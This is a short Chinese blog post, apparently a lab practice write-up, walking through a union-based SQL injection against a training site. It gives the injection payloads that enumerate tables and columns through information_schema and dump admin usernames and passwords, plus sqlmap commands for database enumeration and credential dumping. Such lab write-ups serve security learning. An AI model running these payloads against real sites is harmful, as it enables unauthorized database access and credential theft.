SQL注入案例

目录

一、简介

二、案例

1.发现注入点

2.寻找注入类型

3.寻找字段数

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

7.寻找表中列

8.查看表中数据

附:SQLMap注入

1.输入指令查数据库

2.输入指令查表

3.脱库查看账号密码


一、简介

记录SQL注入的案例练习

二、案例

http://pu2lh35s.ia.aqlab.cn/

1.发现注入点

2.寻找注入类型

,发现?id=1 and 1=1 符合

3.寻找字段数

发现字段数为2

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

?id=111111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

7.寻找表中列

?id=111111 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--+

8.查看表中数据

?id=111111 union select 1,group_concat(username,':',password) from admin--+

注:用 --+ 对结尾进行注释

附:SQLMap注入(sqlmap -u "x")

1.输入指令查数据库( --dbs)

2.输入指令查表( -D xx --tables)

3.脱库查看账号密码( -D xx -T xxx -C xxxx --dump)

相关推荐
Ditglu.3 分钟前
数据库运维(DBA)职业能力提升知识库
运维·数据库·dba
可涵不会debug4 分钟前
openEuler 22.03 LTS 在 VMware 虚拟机环境下的安全评测:SELinux、防火墙、系统加固与漏洞扫描
安全
好游科技5 分钟前
开源IM即时通讯系统全解析:安全可控的社交解决方案
安全·im即时通讯·社交软件·私有化部署im即时通讯·社交app
黛琳ghz6 分钟前
机密计算与安全容器:openEuler安全生态深度测评
服务器·数据库·安全·计算机·操作系统·openeuler
Ping32文件安全7 分钟前
文件加密软件选择哪款?精选这六款文件加密软件
安全·web安全
小清兔20 分钟前
一个unity中URP的环境下旋转天空盒的脚本(RotationSky)
开发语言·数据库·学习·程序人生·unity·c#·游戏引擎
九章云极DataCanvas22 分钟前
麦肯锡11月最新报告《Agentic AI安全部署手册》:Agentic AI安全不是“贴膏药”,而是“打地基”(附报告原文
人工智能·科技·安全·云计算·云算力
果壳~24 分钟前
【LangChain】【Python】【NL2SQL】sql解释器简单实现
python·sql·langchain
技术爬爬虾24 分钟前
为什么React的漏洞能攻破服务器?Next.js与RSC入门基础
前端·数据库·安全
挨踢诗人24 分钟前
畅捷通T+按一定比例删除零售单和会员数据
sql·零售